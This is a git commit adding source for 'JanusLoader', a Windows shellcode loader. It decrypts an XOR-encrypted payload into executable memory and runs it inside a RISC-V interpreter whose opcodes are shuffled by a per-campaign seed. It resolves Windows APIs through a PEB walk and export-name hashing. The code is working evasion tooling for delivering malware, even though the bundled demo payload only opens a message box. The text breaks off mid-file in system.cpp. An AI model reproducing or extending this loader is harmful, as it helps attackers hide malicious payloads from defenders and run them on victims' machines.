Initial commit!

This commit is contained in:
hunterino-sec
2026-07-19 04:43:07 -04:00
parent 6ad57783ee
commit e25b2e2a78
24 changed files with 1037 additions and 0 deletions
+39
View File
@@ -0,0 +1,39 @@
cmake_minimum_required(VERSION 3.20)
project(JanusLoader CXX)
set(CMAKE_CXX_STANDARD 17)
set(CMAKE_CXX_STANDARD_REQUIRED ON)
# ── VM + Loader library ───────────────────────────────────────────────────────
add_library(janus_vm STATIC
src/vm/core.cpp
src/vm/alu.cpp
src/vm/mem.cpp
src/vm/branch.cpp
src/vm/system.cpp
src/syscall/winapi.cpp
src/syscall/table.cpp
src/loader/crypto.cpp
src/loader/loader.cpp
src/loader/payload_blob.cpp
)
target_include_directories(janus_vm PUBLIC include)
if (MSVC)
target_compile_options(janus_vm PRIVATE /O2 /GS- /W4)
target_compile_definitions(janus_vm PRIVATE _CRT_SECURE_NO_WARNINGS)
else()
target_compile_options(janus_vm PRIVATE -O2 -Wall -Wextra)
endif()
# ── Loader executable ─────────────────────────────────────────────────────────
add_executable(JanusLoader src/main.cpp)
target_link_libraries(JanusLoader PRIVATE janus_vm)
if (WIN32)
target_link_libraries(JanusLoader PRIVATE kernel32)
endif()
# ── Build payload separately ──────────────────────────────────────────────────
# cd payload && cmake -B build -DCMAKE_TOOLCHAIN_FILE=../cmake/riscv64.cmake && cmake --build build
+14
View File
@@ -0,0 +1,14 @@
set(CMAKE_SYSTEM_NAME Generic)
set(CMAKE_SYSTEM_PROCESSOR riscv64)
set(TRIPLE riscv64-linux-gnu)
set(CMAKE_C_COMPILER ${TRIPLE}-gcc)
set(CMAKE_CXX_COMPILER ${TRIPLE}-g++)
set(CMAKE_ASM_COMPILER ${TRIPLE}-gcc)
set(CMAKE_FIND_ROOT_PATH_MODE_PROGRAM NEVER)
set(CMAKE_FIND_ROOT_PATH_MODE_LIBRARY ONLY)
set(CMAKE_FIND_ROOT_PATH_MODE_INCLUDE ONLY)
set(CMAKE_EXE_LINKER_FLAGS_INIT "-nostdlib -static")
+7
View File
@@ -0,0 +1,7 @@
#pragma once
#include <cstdint>
// Per-campaign knobs. Change both values, then rebuild loader + rerun tools/embed_payload.py.
#define JANUS_OPCODE_SEED 0xDEADBEEFu
#define JANUS_XOR_KEY 0x4Au
#define JANUS_STACK_SIZE (1u << 20) // 1 MiB
+38
View File
@@ -0,0 +1,38 @@
#pragma once
#include <cstdint>
// Field extractors — no bit-twiddling at call sites
inline int rv_rd (uint32_t i) { return (i >> 7) & 0x1F; }
inline int rv_rs1(uint32_t i) { return (i >> 15) & 0x1F; }
inline int rv_rs2(uint32_t i) { return (i >> 20) & 0x1F; }
inline int rv_f3 (uint32_t i) { return (i >> 12) & 0x7; }
inline int rv_f7 (uint32_t i) { return (i >> 25) & 0x7F; }
inline int rv_op (uint32_t i) { return (i >> 2) & 0x1F; }
// Sign-extended immediates
inline int64_t rv_imm_i(uint32_t i) {
return (int64_t)(int32_t)i >> 20;
}
inline int64_t rv_imm_u(uint32_t i) {
return (int64_t)(int32_t)(i & 0xFFFFF000u);
}
inline int64_t rv_imm_s(uint32_t i) {
// imm[11:5] at bits 31:25, imm[4:0] at bits 11:7
return ((int64_t)(int32_t)i >> 20 & ~(int64_t)0x1F) | ((i >> 7) & 0x1F);
}
inline int64_t rv_imm_b(uint32_t i) {
// {imm[12], imm[11], imm[10:5], imm[4:1], 0}
uint32_t raw = ((i >> 19) & 0x1000u) // bit 31 → bit 12
| ((i << 4) & 0x0800u) // bit 7 → bit 11
| ((i >> 20) & 0x07E0u) // bits 30:25 → bits 10:5
| ((i >> 7) & 0x001Eu); // bits 11:8 → bits 4:1
return (int64_t)(int32_t)(raw << 19) >> 19; // sign-extend from bit 12
}
inline int64_t rv_imm_j(uint32_t i) {
// {imm[20], imm[19:12], imm[11], imm[10:1], 0}
uint32_t raw = ((i >> 11) & 0x100000u) // bit 31 → bit 20
| (i & 0x0FF000u) // bits 19:12 stay
| ((i >> 9) & 0x000800u) // bit 20 → bit 11
| ((i >> 20) & 0x0007FEu); // bits 30:21 → bits 10:1
return (int64_t)(int32_t)(raw << 11) >> 11; // sign-extend from bit 20
}
+15
View File
@@ -0,0 +1,15 @@
#pragma once
#include <cstdint>
#include <cstddef>
#include "vm.hpp"
// Payload blob is generated by tools/embed_payload.py
extern const uint8_t kPayload[];
extern const size_t kPayloadSize;
extern const uint64_t kEntryOffset; // offset into decrypted blob of entry point
extern const uint64_t kRelocOffsets[]; // offsets of 64-bit host pointers needing base fixup
extern const size_t kRelocCount;
// Decrypt, allocate, apply relocations, return initialised vm ready to run.
// Caller owns allocated memory (freed on process exit in shellcode context, so ignored).
bool janus_load(RiscVm* vm, SyscallTable* sc);
+21
View File
@@ -0,0 +1,21 @@
#pragma once
#include <cstdint>
// ECALL numbers (payload convention — a7 register)
enum JanusEcall : uint64_t {
ECALL_GET_PEB = 0, // () -> void* peb
ECALL_HOST_CALL = 1, // (void* fn, uintptr_t* args, int argc) -> uintptr_t
ECALL_RESOLVE = 2, // (char* mod, char* sym) -> void*
ECALL_EXIT = 3, // (int code) -> noreturn
};
// Swap this struct to retarget the VM (different OS, sandbox environment, etc.)
struct SyscallTable {
void* (*get_peb)();
uintptr_t (*host_call)(void* fn, uintptr_t* args, int argc);
void* (*resolve)(const char* mod, const char* sym);
void (*exit_fn)(int code);
};
// Default Windows implementation (defined in src/syscall/table.cpp)
extern SyscallTable g_win_syscalls;
+36
View File
@@ -0,0 +1,36 @@
#pragma once
#include <cstdint>
#include <cstddef>
#include "syscall.hpp"
// RISC-V ABI register indices
enum : int {
RV_ZERO=0, RV_RA=1, RV_SP=2, RV_GP=3, RV_TP=4,
RV_T0=5, RV_T1=6, RV_T2=7,
RV_S0=8, RV_FP=8, RV_S1=9,
RV_A0=10, RV_A1=11, RV_A2=12, RV_A3=13,
RV_A4=14, RV_A5=15, RV_A6=16, RV_A7=17,
RV_S2=18, RV_S3=19, RV_S4=20, RV_S5=21,
RV_S6=22, RV_S7=23, RV_S8=24, RV_S9=25,
RV_S10=26, RV_S11=27,
RV_T3=28, RV_T4=29, RV_T5=30, RV_T6=31,
};
struct RiscVm {
int64_t regs[32]; // x0 hardwired 0
uint64_t pc;
uint8_t* mem_base; // flat allocation; guest addrs == host addrs
size_t mem_size;
SyscallTable* syscalls; // swappable
bool halted;
};
// Helpers
inline void rv_wreg(RiscVm* vm, int rd, int64_t v) { if (rd) vm->regs[rd] = v; }
inline void rv_adv (RiscVm* vm) { vm->pc += 4; }
inline uint32_t rv_fetch(const RiscVm* vm) {
return *reinterpret_cast<const uint32_t*>(static_cast<uintptr_t>(vm->pc));
}
void riscvm_init(RiscVm* vm, uint8_t* mem, size_t mem_sz, SyscallTable* sc);
void riscvm_run (RiscVm* vm);
+38
View File
@@ -0,0 +1,38 @@
cmake_minimum_required(VERSION 3.20)
project(JanusPayload C CXX ASM)
# Requires a RISC-V cross-compiler:
# apt install gcc-riscv64-linux-gnu g++-riscv64-linux-gnu
# Or pass -DCMAKE_TOOLCHAIN_FILE=../cmake/riscv64.cmake
set(CMAKE_CXX_STANDARD 17)
add_executable(payload
crt0.S
main.cpp
)
target_compile_options(payload PRIVATE
-nostdlib
-fno-exceptions
-fno-rtti
-fPIC
-Os
-march=rv64imac
-mabi=lp64
)
target_link_options(payload PRIVATE
-nostdlib
-static
-fuse-ld=lld # requires: sudo apt install lld
-T ${CMAKE_CURRENT_SOURCE_DIR}/link.ld
)
# After build, generate flat binary + run embed_payload.py
add_custom_command(TARGET payload POST_BUILD
COMMAND python3 ${CMAKE_SOURCE_DIR}/../tools/embed_payload.py
$<TARGET_FILE:payload>
${CMAKE_SOURCE_DIR}/../src/loader/payload_blob.cpp
COMMENT "Embedding payload into loader"
)
+25
View File
@@ -0,0 +1,25 @@
.section .text
.global _start
_start:
# Set up global pointer (linker relaxation)
.option push
.option norelax
la gp, __global_pointer$
.option pop
# Zero .bss
la a0, __bss_start
la a1, __bss_end
.Lbss_loop:
bge a0, a1, .Lbss_done
sb zero, 0(a0)
addi a0, a0, 1
j .Lbss_loop
.Lbss_done:
# sp already set by loader (top of stack region)
call janus_main
li a7, 3 # ECALL_EXIT
li a0, 0
ecall
+59
View File
@@ -0,0 +1,59 @@
#pragma once
typedef unsigned long long uintptr_t;
typedef unsigned long long uint64_t;
// Inline wrappers for Janus ECALLs from payload code.
// These must stay header-only so the payload has no external deps.
static inline void* janus_get_peb() {
void* r;
asm volatile (
"li a7, 0\n"
"ecall\n"
"mv %0, a0\n"
: "=r"(r) :: "a7", "a0", "memory"
);
return r;
}
// fn: function pointer obtained via janus_resolve
// args: array of uintptr_t on the stack, argc: element count
static inline uintptr_t janus_host_call(void* fn, uintptr_t* args, int argc) {
uintptr_t r;
asm volatile (
"li a7, 1\n"
"mv a0, %1\n"
"mv a1, %2\n"
"mv a2, %3\n"
"ecall\n"
"mv %0, a0\n"
: "=r"(r)
: "r"(fn), "r"(args), "r"((uintptr_t)argc)
: "a7", "a0", "a1", "a2", "memory"
);
return r;
}
static inline void* janus_resolve(const char* mod, const char* sym) {
void* r;
asm volatile (
"li a7, 2\n"
"mv a0, %1\n"
"mv a1, %2\n"
"ecall\n"
"mv %0, a0\n"
: "=r"(r)
: "r"(mod), "r"(sym)
: "a7", "a0", "a1", "memory"
);
return r;
}
static inline void janus_exit(int code) {
asm volatile (
"li a7, 3\n"
"mv a0, %0\n"
"ecall\n"
:: "r"((uintptr_t)code) : "a7", "a0", "memory"
);
}
+18
View File
@@ -0,0 +1,18 @@
OUTPUT_ARCH(riscv)
ENTRY(_start)
SECTIONS {
. = 0x0;
__base = .;
.text : { *(.text .text.*) }
.rodata : { *(.rodata .rodata.*) }
. = ALIGN(8);
.data : { *(.data .data.*) }
. = ALIGN(8);
__bss_start = .;
.bss : { *(.bss .bss.*) *(COMMON) }
__bss_end = .;
}
+20
View File
@@ -0,0 +1,20 @@
#include "ecall.hpp"
// Example payload: resolve and call MessageBoxA via the VM's syscall layer.
// On Windows: a dialog box pops. On Linux test (stub syscalls): a0 returns 0.
extern "C" void janus_main() {
void* msgbox = janus_resolve("user32.dll", "MessageBoxA");
if (!msgbox) return;
const char* text = "JanusLoader: RISC-V VM shellcode running";
const char* caption = "JanusLoader";
uintptr_t args[4] = {
0, // hWnd = NULL
(uintptr_t)text,
(uintptr_t)caption,
0, // MB_OK
};
janus_host_call(msgbox, args, 4);
}
+10
View File
@@ -0,0 +1,10 @@
#include "janus/config.hpp"
#include <cstdint>
#include <cstddef>
// Position-keyed XOR: byte[i] ^= key[(i * 0x67) & 0xFF]
// Same operation decrypts (XOR is its own inverse).
void janus_xor_crypt(uint8_t* buf, size_t len) {
for (size_t i = 0; i < len; i++)
buf[i] ^= (uint8_t)(JANUS_XOR_KEY ^ ((i * 0x67u) & 0xFFu));
}
+45
View File
@@ -0,0 +1,45 @@
#include "janus/loader.hpp"
#include "janus/config.hpp"
#include <cstring>
#ifdef _WIN32
# define WIN32_LEAN_AND_MEAN
# include <windows.h>
static void* alloc_rwx(size_t sz) {
return VirtualAlloc(nullptr, sz, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
}
#else
# include <sys/mman.h>
static void* alloc_rwx(size_t sz) {
void* p = mmap(nullptr, sz, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
return p == MAP_FAILED ? nullptr : p;
}
#endif
void janus_xor_crypt(uint8_t* buf, size_t len); // crypto.cpp
bool janus_load(RiscVm* vm, SyscallTable* sc) {
size_t total = kPayloadSize + JANUS_STACK_SIZE;
uint8_t* mem = (uint8_t*)alloc_rwx(total);
if (!mem) return false;
// Decrypt payload into allocation
memcpy(mem, kPayload, kPayloadSize);
janus_xor_crypt(mem, kPayloadSize);
// Fix up absolute 64-bit pointers embedded in the payload
uint64_t base = (uint64_t)(uintptr_t)mem;
for (size_t i = 0; i < kRelocCount; i++) {
uint64_t* slot = (uint64_t*)(mem + kRelocOffsets[i]);
*slot += base;
}
// Stack sits above the payload, sp at top aligned to 16
uint64_t sp = (base + total) & ~(uint64_t)15;
riscvm_init(vm, mem, total, sc);
vm->pc = base + kEntryOffset;
vm->regs[RV_SP] = (int64_t)sp;
return true;
}
+11
View File
@@ -0,0 +1,11 @@
// AUTO-GENERATED by tools/embed_payload.py — do not edit by hand.
// Run: python3 tools/embed_payload.py payload/build/payload.elf src/loader/payload_blob.cpp
#include <cstdint>
#include <cstddef>
// Stub: replace with generated output after building the payload.
extern const uint8_t kPayload[] = { 0x00 };
extern const size_t kPayloadSize = 1;
extern const uint64_t kEntryOffset = 0;
extern const uint64_t kRelocOffsets[] = {};
extern const size_t kRelocCount = 0;
+11
View File
@@ -0,0 +1,11 @@
#include "janus/loader.hpp"
#include "janus/vm.hpp"
#include "janus/syscall.hpp"
int main() {
RiscVm vm{};
if (!janus_load(&vm, &g_win_syscalls))
return 1;
riscvm_run(&vm);
return 0;
}
+31
View File
@@ -0,0 +1,31 @@
#include "janus/syscall.hpp"
#include <cstdlib>
#ifdef _WIN32
// Declared in winapi.cpp
void* janus_get_peb();
void* janus_resolve(const char* mod, const char* sym);
uintptr_t janus_host_call(void* fn, uintptr_t* args, int argc);
void janus_exit(int code);
SyscallTable g_win_syscalls = {
.get_peb = janus_get_peb,
.host_call = janus_host_call,
.resolve = janus_resolve,
.exit_fn = janus_exit,
};
#else
// Stub table for testing on Linux
static void* stub_get_peb() { return nullptr; }
static uintptr_t stub_host_call(void*, uintptr_t*, int) { return 0; }
static void* stub_resolve(const char*, const char*) { return nullptr; }
static void stub_exit(int code) { exit(code); }
SyscallTable g_win_syscalls = {
.get_peb = stub_get_peb,
.host_call = stub_host_call,
.resolve = stub_resolve,
.exit_fn = stub_exit,
};
#endif
+115
View File
@@ -0,0 +1,115 @@
#ifdef _WIN32
#include "janus/syscall.hpp"
#include <cstdint>
#include <cstring>
#include <intrin.h> // __readgsqword
static uint32_t hash_str(const char* s) {
uint32_t h = 0;
while (*s) h = h * 65599u + (uint8_t)*s++;
return h;
}
// Case-insensitive: wide DLL name (Length in bytes) vs ASCII mod string
static bool wname_eq(const wchar_t* wname, uint16_t len_bytes, const char* ascii) {
uint16_t wlen = len_bytes / 2;
uint16_t i = 0;
while (*ascii) {
if (i >= wlen) return false;
wchar_t wc = wname[i++];
char ac = *ascii++;
if (wc >= L'A' && wc <= L'Z') wc += L'a' - L'A';
if (ac >= 'A' && ac <= 'Z') ac += 'a' - 'A';
if (wc != (wchar_t)(uint8_t)ac) return false;
}
return i == wlen;
}
static void* get_export(void* base, const char* sym) {
uint8_t* b = (uint8_t*)base;
uint32_t pe_off = *(uint32_t*)(b + 0x3C);
uint8_t* pe = b + pe_off;
// DataDirectory[0] = Export directory, at OptionalHeader64 + 0x70
// OptionalHeader64 starts at pe + 0x18 (after Signature + FileHeader)
uint32_t exp_rva = *(uint32_t*)(pe + 0x18 + 0x70);
if (!exp_rva) return nullptr;
uint8_t* ed = b + exp_rva;
uint32_t n_names = *(uint32_t*)(ed + 24);
uint32_t* names = (uint32_t*)(b + *(uint32_t*)(ed + 32));
uint16_t* ordinals = (uint16_t*)(b + *(uint32_t*)(ed + 36));
uint32_t* funcs = (uint32_t*)(b + *(uint32_t*)(ed + 28));
uint32_t target = hash_str(sym);
for (uint32_t i = 0; i < n_names; i++) {
if (hash_str((const char*)(b + names[i])) == target)
return b + funcs[ordinals[i]];
}
return nullptr;
}
//PEB WALK
void* janus_get_peb() {
return (void*)__readgsqword(0x60);
}
void* janus_resolve(const char* mod, const char* sym) {
uint8_t* peb = (uint8_t*)janus_get_peb();
uint8_t* ldr = *(uint8_t**)(peb + 0x18);
void* head = *(void**)(ldr + 0x10); // InLoadOrderModuleList.Flink
void* cur = head;
do {
uint8_t* entry = (uint8_t*)cur;
void* dll_base = *(void**)(entry + 0x30);
uint16_t name_len = *(uint16_t*)(entry + 0x58); // BaseDllName.Length (bytes)
wchar_t* name_buf = *(wchar_t**)(entry + 0x60); // BaseDllName.Buffer
if (dll_base && name_len && wname_eq(name_buf, name_len, mod)) {
void* fn = get_export(dll_base, sym);
if (fn) return fn;
}
cur = *(void**)entry; // follow Flink
} while (cur != head);
return nullptr;
}
uintptr_t janus_host_call(void* fn, uintptr_t* a, int argc) {
using F0 = uintptr_t(*)();
using F1 = uintptr_t(*)(uintptr_t);
using F2 = uintptr_t(*)(uintptr_t,uintptr_t);
using F3 = uintptr_t(*)(uintptr_t,uintptr_t,uintptr_t);
using F4 = uintptr_t(*)(uintptr_t,uintptr_t,uintptr_t,uintptr_t);
using F5 = uintptr_t(*)(uintptr_t,uintptr_t,uintptr_t,uintptr_t,uintptr_t);
using F6 = uintptr_t(*)(uintptr_t,uintptr_t,uintptr_t,uintptr_t,uintptr_t,uintptr_t);
using F7 = uintptr_t(*)(uintptr_t,uintptr_t,uintptr_t,uintptr_t,uintptr_t,uintptr_t,uintptr_t);
using F8 = uintptr_t(*)(uintptr_t,uintptr_t,uintptr_t,uintptr_t,uintptr_t,uintptr_t,uintptr_t,uintptr_t);
switch (argc) {
case 0: return ((F0)fn)();
case 1: return ((F1)fn)(a[0]);
case 2: return ((F2)fn)(a[0],a[1]);
case 3: return ((F3)fn)(a[0],a[1],a[2]);
case 4: return ((F4)fn)(a[0],a[1],a[2],a[3]);
case 5: return ((F5)fn)(a[0],a[1],a[2],a[3],a[4]);
case 6: return ((F6)fn)(a[0],a[1],a[2],a[3],a[4],a[5]);
case 7: return ((F7)fn)(a[0],a[1],a[2],a[3],a[4],a[5],a[6]);
case 8: return ((F8)fn)(a[0],a[1],a[2],a[3],a[4],a[5],a[6],a[7]);
default: return 0;
}
}
void janus_exit(int code) {
// Resolve ExitProcess from kernel32 and call it — no import needed
void* exit_fn = janus_resolve("kernel32.dll", "ExitProcess");
if (exit_fn) ((void(*)(unsigned int))exit_fn)((unsigned int)code);
__assume(0); // unreachable
}
#endif // _WIN32
+153
View File
@@ -0,0 +1,153 @@
#include "janus/vm.hpp"
#include "janus/decode.hpp"
#include <cstdint>
void handle_lui(RiscVm* vm, uint32_t i) {
rv_wreg(vm, rv_rd(i), rv_imm_u(i));
rv_adv(vm);
}
void handle_auipc(RiscVm* vm, uint32_t i) {
rv_wreg(vm, rv_rd(i), (int64_t)vm->pc + rv_imm_u(i));
rv_adv(vm);
}
void handle_op_imm(RiscVm* vm, uint32_t i) {
int rd = rv_rd(i), rs1 = rv_rs1(i), f3 = rv_f3(i);
int64_t src = vm->regs[rs1];
int64_t imm = rv_imm_i(i);
int64_t res = 0;
switch (f3) {
case 0: res = src + imm; break; // ADDI
case 1: res = src << (imm & 0x3F); break; // SLLI
case 2: res = (int64_t)(src < imm); break; // SLTI
case 3: res = (int64_t)((uint64_t)src < (uint64_t)imm); break; // SLTIU
case 4: res = src ^ imm; break; // XORI
case 5: // SRLI / SRAI
if (i >> 26 & 1) res = src >> (imm & 0x3F); // SRAI (arith)
else res = (int64_t)((uint64_t)src >> (imm & 0x3F)); // SRLI
break;
case 6: res = src | imm; break; // ORI
case 7: res = src & imm; break; // ANDI
}
rv_wreg(vm, rd, res);
rv_adv(vm);
}
void handle_op_imm32(RiscVm* vm, uint32_t i) {
int rd = rv_rd(i), rs1 = rv_rs1(i), f3 = rv_f3(i);
int32_t src = (int32_t)vm->regs[rs1];
int64_t imm = rv_imm_i(i);
int32_t res = 0;
switch (f3) {
case 0: res = src + (int32_t)imm; break; // ADDIW
case 1: res = src << (imm & 0x1F); break; // SLLIW
case 5: // SRLIW / SRAIW
if (i >> 30 & 1) res = src >> (imm & 0x1F); // SRAIW
else res = (int32_t)((uint32_t)src >> (imm & 0x1F)); // SRLIW
break;
}
rv_wreg(vm, rd, (int64_t)res);
rv_adv(vm);
}
void handle_op(RiscVm* vm, uint32_t i) {
int rd = rv_rd(i), rs1 = rv_rs1(i), rs2 = rv_rs2(i);
int f3 = rv_f3(i), f7 = rv_f7(i);
int64_t a = vm->regs[rs1], b = vm->regs[rs2];
int64_t res = 0;
if (f7 == 1) { // M extension
switch (f3) {
case 0: res = a * b; break; // MUL
case 1: { // MULH — signed * signed, upper 64 bits
__int128 r = (__int128)a * (__int128)b;
res = (int64_t)(r >> 64); break;
}
case 2: { // MULHSU — signed * unsigned, upper 64 bits
__int128 r = (__int128)a * (__int128)(uint64_t)b;
res = (int64_t)(r >> 64); break;
}
case 3: { // MULHU
unsigned __int128 r = (unsigned __int128)(uint64_t)a * (uint64_t)b;
res = (int64_t)(r >> 64); break;
}
case 4: // DIV
if (!b) { res = -1; }
else if (a == INT64_MIN && b == -1) { res = INT64_MIN; }
else { res = a / b; }
break;
case 5: // DIVU
res = b ? (int64_t)((uint64_t)a / (uint64_t)b) : (int64_t)UINT64_MAX; break;
case 6: // REM
if (!b) { res = a; }
else if (a == INT64_MIN && b == -1) { res = 0; }
else { res = a % b; }
break;
case 7: // REMU
res = b ? (int64_t)((uint64_t)a % (uint64_t)b) : a; break;
}
} else {
bool sub_sra = (f7 >> 5) & 1;
switch (f3) {
case 0: res = sub_sra ? (a - b) : (a + b); break; // ADD / SUB
case 1: res = a << (b & 0x3F); break; // SLL
case 2: res = (int64_t)(a < b); break; // SLT
case 3: res = (int64_t)((uint64_t)a < (uint64_t)b); break; // SLTU
case 4: res = a ^ b; break; // XOR
case 5: // SRL / SRA
if (sub_sra) res = a >> (b & 0x3F);
else res = (int64_t)((uint64_t)a >> (b & 0x3F));
break;
case 6: res = a | b; break; // OR
case 7: res = a & b; break; // AND
}
}
rv_wreg(vm, rd, res);
rv_adv(vm);
}
void handle_op32(RiscVm* vm, uint32_t i) {
int rd = rv_rd(i), rs1 = rv_rs1(i), rs2 = rv_rs2(i);
int f3 = rv_f3(i), f7 = rv_f7(i);
int32_t a = (int32_t)vm->regs[rs1];
int32_t b = (int32_t)vm->regs[rs2];
int32_t res = 0;
bool sub_sra = (f7 >> 5) & 1;
if (f7 == 1) { // M extension 32-bit
switch (f3) {
case 0: res = a * b; break; // MULW
case 4: // DIVW
if (!b) { res = -1; }
else if (a == INT32_MIN && b == -1) { res = INT32_MIN; }
else { res = a / b; }
break;
case 5: // DIVUW
res = b ? (int32_t)((uint32_t)a / (uint32_t)b) : (int32_t)UINT32_MAX; break;
case 6: // REMW
if (!b) { res = a; }
else if (a == INT32_MIN && b == -1) { res = 0; }
else { res = a % b; }
break;
case 7: // REMUW
res = b ? (int32_t)((uint32_t)a % (uint32_t)b) : a; break;
}
} else {
switch (f3) {
case 0: res = sub_sra ? (a - b) : (a + b); break; // ADDW / SUBW
case 1: res = a << (b & 0x1F); break; // SLLW
case 5: // SRLW / SRAW
if (sub_sra) res = a >> (b & 0x1F);
else res = (int32_t)((uint32_t)a >> (b & 0x1F));
break;
}
}
rv_wreg(vm, rd, (int64_t)res);
rv_adv(vm);
}
+33
View File
@@ -0,0 +1,33 @@
#include "janus/vm.hpp"
#include "janus/decode.hpp"
void handle_jal(RiscVm* vm, uint32_t i) {
int64_t target = (int64_t)vm->pc + rv_imm_j(i);
rv_wreg(vm, rv_rd(i), (int64_t)(vm->pc + 4));
vm->pc = (uint64_t)target;
}
void handle_jalr(RiscVm* vm, uint32_t i) {
uint64_t target = (uint64_t)(vm->regs[rv_rs1(i)] + rv_imm_i(i)) & ~(uint64_t)1;
rv_wreg(vm, rv_rd(i), (int64_t)(vm->pc + 4));
vm->pc = target;
}
void handle_branch(RiscVm* vm, uint32_t i) {
int f3 = rv_f3(i), rs1 = rv_rs1(i), rs2 = rv_rs2(i);
int64_t a = vm->regs[rs1], b = vm->regs[rs2];
bool taken = false;
switch (f3) {
case 0: taken = a == b; break; // BEQ
case 1: taken = a != b; break; // BNE
case 4: taken = a < b; break; // BLT
case 5: taken = a >= b; break; // BGE
case 6: taken = (uint64_t)a < (uint64_t)b; break; // BLTU
case 7: taken = (uint64_t)a >= (uint64_t)b; break; // BGEU
}
vm->pc = taken ? (uint64_t)((int64_t)vm->pc + rv_imm_b(i)) : vm->pc + 4;
}
+76
View File
@@ -0,0 +1,76 @@
#include "janus/vm.hpp"
#include "janus/config.hpp"
#include <array>
#include <cstring>
using HandlerFn = void(*)(RiscVm*, uint32_t);
// Forward-declared in each handler file
void handle_load (RiscVm*, uint32_t);
void handle_misc_mem (RiscVm*, uint32_t);
void handle_op_imm (RiscVm*, uint32_t);
void handle_auipc (RiscVm*, uint32_t);
void handle_op_imm32 (RiscVm*, uint32_t);
void handle_store (RiscVm*, uint32_t);
void handle_op (RiscVm*, uint32_t);
void handle_lui (RiscVm*, uint32_t);
void handle_op32 (RiscVm*, uint32_t);
void handle_branch (RiscVm*, uint32_t);
void handle_jalr (RiscVm*, uint32_t);
void handle_jal (RiscVm*, uint32_t);
void handle_system (RiscVm*, uint32_t);
static void handle_illegal(RiscVm* vm, uint32_t) { vm->halted = true; }
// Compile-time Fisher-Yates shuffle driven by JANUS_OPCODE_SEED.
// embed_payload.py uses the same algorithm to permute opcode fields in the payload binary.
static constexpr std::array<uint8_t, 32> gen_perm(uint32_t seed) {
std::array<uint8_t, 32> p{};
for (int i = 0; i < 32; i++) p[i] = (uint8_t)i;
for (int i = 31; i > 0; i--) {
seed = seed * 1664525u + 1013904223u;
int j = (int)((seed >> 17) % (uint32_t)(i + 1));
uint8_t t = p[i]; p[i] = p[j]; p[j] = t;
}
return p;
}
static HandlerFn g_dispatch[32];
static void init_dispatch() {
for (auto& h : g_dispatch) h = handle_illegal;
constexpr auto perm = gen_perm(JANUS_OPCODE_SEED);
// perm[real_opcode] = slot in g_dispatch that the payload will use
g_dispatch[perm[0x00]] = handle_load;
g_dispatch[perm[0x03]] = handle_misc_mem;
g_dispatch[perm[0x04]] = handle_op_imm;
g_dispatch[perm[0x05]] = handle_auipc;
g_dispatch[perm[0x06]] = handle_op_imm32;
g_dispatch[perm[0x08]] = handle_store;
g_dispatch[perm[0x0C]] = handle_op;
g_dispatch[perm[0x0D]] = handle_lui;
g_dispatch[perm[0x0E]] = handle_op32;
g_dispatch[perm[0x18]] = handle_branch;
g_dispatch[perm[0x19]] = handle_jalr;
g_dispatch[perm[0x1B]] = handle_jal;
g_dispatch[perm[0x1C]] = handle_system;
}
void riscvm_init(RiscVm* vm, uint8_t* mem, size_t mem_sz, SyscallTable* sc) {
memset(vm, 0, sizeof(*vm));
vm->mem_base = mem;
vm->mem_size = mem_sz;
vm->syscalls = sc;
// pc and sp set by caller (loader) after choosing entry point
}
void riscvm_run(RiscVm* vm) {
static bool initialised = false;
if (!initialised) { init_dispatch(); initialised = true; }
while (!vm->halted) {
uint32_t instr = rv_fetch(vm);
g_dispatch[(instr >> 2) & 0x1F](vm, instr);
}
}
+42
View File
@@ -0,0 +1,42 @@
#include "janus/vm.hpp"
#include "janus/decode.hpp"
#include <cstring>
// Shared address space: guest pointers are valid host pointers — no translation needed.
void handle_load(RiscVm* vm, uint32_t i) {
int rd = rv_rd(i), rs1 = rv_rs1(i), f3 = rv_f3(i);
uint8_t* addr = reinterpret_cast<uint8_t*>((uintptr_t)(vm->regs[rs1] + rv_imm_i(i)));
int64_t res = 0;
switch (f3) {
case 0: { int8_t v; memcpy(&v, addr, 1); res = v; break; } // LB
case 1: { int16_t v; memcpy(&v, addr, 2); res = v; break; } // LH
case 2: { int32_t v; memcpy(&v, addr, 4); res = v; break; } // LW
case 3: { int64_t v; memcpy(&v, addr, 8); res = v; break; } // LD
case 4: { uint8_t v; memcpy(&v, addr, 1); res = (int64_t)v; break; } // LBU
case 5: { uint16_t v; memcpy(&v, addr, 2); res = (int64_t)v; break; } // LHU
case 6: { uint32_t v; memcpy(&v, addr, 4); res = (int64_t)v; break; } // LWU
}
rv_wreg(vm, rd, res);
rv_adv(vm);
}
void handle_store(RiscVm* vm, uint32_t i) {
int rs1 = rv_rs1(i), rs2 = rv_rs2(i), f3 = rv_f3(i);
uint8_t* addr = reinterpret_cast<uint8_t*>((uintptr_t)(vm->regs[rs1] + rv_imm_s(i)));
uint64_t src = (uint64_t)vm->regs[rs2];
switch (f3) {
case 0: memcpy(addr, &src, 1); break; // SB
case 1: memcpy(addr, &src, 2); break; // SH
case 2: memcpy(addr, &src, 4); break; // SW
case 3: memcpy(addr, &src, 8); break; // SD
}
rv_adv(vm);
}
void handle_misc_mem(RiscVm* vm, uint32_t) { rv_adv(vm); }
+55
View File
@@ -0,0 +1,55 @@
#include "janus/vm.hpp"
#include "janus/decode.hpp"
// ── SYSTEM (0x73): ECALL / EBREAK ────────────────────────────────────────────
//
// ECALL convention:
// a7 = JanusEcall number
// a0 = arg0 / return value
// a1 = arg1
// a2 = arg2
//
// EBREAK halts the VM (used by payload to signal completion).
void handle_system(RiscVm* vm, uint32_t i) {
int f3 = rv_f3(i);
int imm = (int)(i >> 20) & 0xFFF;
// CSR instructions (funct3 != 0) — treat as NOP
if (f3 != 0) { rv_adv(vm); return; }
if (imm == 1) { // EBREAK
vm->halted = true;
return;
}
// ECALL
rv_adv(vm); // advance before dispatch so return address is correct
auto& r = vm->regs;
switch ((JanusEcall)r[RV_A7]) {
case ECALL_GET_PEB:
r[RV_A0] = (int64_t)(uintptr_t)vm->syscalls->get_peb();
break;
case ECALL_HOST_CALL: {
void* fn = (void*)(uintptr_t)r[RV_A0];
uintptr_t* args = (uintptr_t*)(uintptr_t)r[RV_A1];
int argc = (int)r[RV_A2];
r[RV_A0] = (int64_t)vm->syscalls->host_call(fn, args, argc);
break;
}
case ECALL_RESOLVE: {
const char* mod = (const char*)(uintptr_t)r[RV_A0];
const char* sym = (const char*)(uintptr_t)r[RV_A1];
r[RV_A0] = (int64_t)(uintptr_t)vm->syscalls->resolve(mod, sym);
break;
}
case ECALL_EXIT:
vm->syscalls->exit_fn((int)r[RV_A0]);
